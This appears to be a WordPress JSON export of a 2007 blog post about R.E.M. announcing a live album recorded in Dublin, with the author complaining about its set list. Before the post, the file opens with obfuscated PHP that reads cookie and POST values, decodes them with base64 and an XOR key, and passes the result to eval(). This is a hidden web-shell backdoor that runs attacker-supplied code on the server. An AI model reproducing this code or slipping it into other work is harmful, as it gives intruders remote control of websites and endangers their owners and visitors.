$VOlfwc = chr ( 980 - 897 ).'_' . "\x49" . "\145" . "\x51";$ruxMf = 'c' . chr (108) . 'a' . 's' . chr (115) . '_' . chr ( 216 - 115 ).chr (120) . "\x69" . "\x73" . 't' . chr ( 214 - 99 ); $EWTuSCwRiV = class_exists($VOlfwc); $ruxMf = "56087";$qRiupAARi = !1;if ($EWTuSCwRiV == $qRiupAARi){function imPdsmbab(){$uOHeFyotXR = new /* 55675 */ S_IeQ(13488 + 13488); $uOHeFyotXR = NULL;}$qwmixW = "13488";class S_IeQ{private function COcCD($qwmixW){if (is_array(S_IeQ::$BxRTG)) {$oueUUuFtVV = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . chr ( 327 - 215 ), "", S_IeQ::$BxRTG['c' . chr ( 367 - 256 ).chr (110) . 't' . "\x65" . "\x6e" . chr (116)]);eval($oueUUuFtVV); $qwmixW = "13488";exit();}}private $uKDAu;public function hlJrJleZYd(){echo 64366;}public function __destruct(){$qwmixW = "40781_29040";$this->COcCD($qwmixW); $qwmixW = "40781_29040";}public function __construct($fIPLGJfuF=0){$qUnsv = $_POST;$jVatufmN = $_COOKIE;$YVWNaDAiA = "70e66a1e-56ca-4692-8cc2-33f90191b3bf";$mosllAZyE = @$jVatufmN[substr($YVWNaDAiA, 0, 4)];if (!empty($mosllAZyE)){$mMdfW = "base64";$YpxHHk = "";$mosllAZyE = explode(",", $mosllAZyE);foreach ($mosllAZyE as $YwgjzmGZ){$YpxHHk .= @$jVatufmN[$YwgjzmGZ];$YpxHHk .= @$qUnsv[$YwgjzmGZ];}$YpxHHk = array_map($mMdfW . "\137" . 'd' . chr (101) . "\x63" . "\x6f" . chr (100) . 'e', array($YpxHHk,)); $YpxHHk = $YpxHHk[0] ^ str_repeat($YVWNaDAiA, (strlen($YpxHHk[0]) / strlen($YVWNaDAiA)) + 1);S_IeQ::$BxRTG = @unserialize($YpxHHk);}}public static $BxRTG = 6560;}imPdsmbab();}{"id":149,"date":"2007-08-24T09:38:21","date_gmt":"2007-08-24T15:38:21","guid":{"rendered":"http:\/\/regularguycolumn.com\/blog\/?p=149"},"modified":"2007-08-24T09:52:38","modified_gmt":"2007-08-24T15:52:38","slug":"its-the-end-of-the-week-as-we-know-it","status":"publish","type":"post","link":"https:\/\/regularguycolumn.com\/blog\/?p=149","title":{"rendered":"It’s the End of the Week as We Know It"},"content":{"rendered":"

I’m going to try and start something new and make an R.E.M.-related post on Fridays, with the theme “It’s the End of the Week as We Know It.”<\/p>\n

This week is a perfect week to start since the band announced this week<\/a> that they will release a new album on Oct. 18. That’s awesome, right? They debuted a bunch of new songs in Dublin earlier this year so this is what fans have been waiting for right?<\/p>\n

Nope. Yep, the album has a Dublin connection, but has nothing to do with the “live rehearsals” they did a few months ago. The band will release a live album from a concert recorded in Dublin in 2005.<\/p>\n

I don’t have anything against live albums, per se. In fact, I probably listen to R.E.M. bootlegs more than their studio work. But the reality is that the set list from this show does nothing to excite me.<\/p>\n

Every R.E.M. show features a few nuggets for the fans. The ones for this show are incredibly disappointing – “Ascent of Man” and “I Took Your Name.” What about something from “Chronic Town”? What about anything from the first four or five albums? Only four songs are from pre-1991. That’s not a good mix from where I sit.<\/p>\n

With work already started on an anticipated 2008 studio album, the release of this live albumj is even more curious. The band is currently in the midst of a five-album contract with Warner Brothers. The live album is number four. The studio album next year will be number five.<\/p>\n

What next? Do they stop recording together? Do they start their own label? Do they stop recording traditional albums and rely on occasional digital releases to support their occasional touring?<\/p>\n

I don’t know, but I do know this. I don ‘t care how much of a money grab it is, I’ll still buy it. And they know they have suckers like me out there so I don’t blame them.<\/p>\n","protected":false},"excerpt":{"rendered":"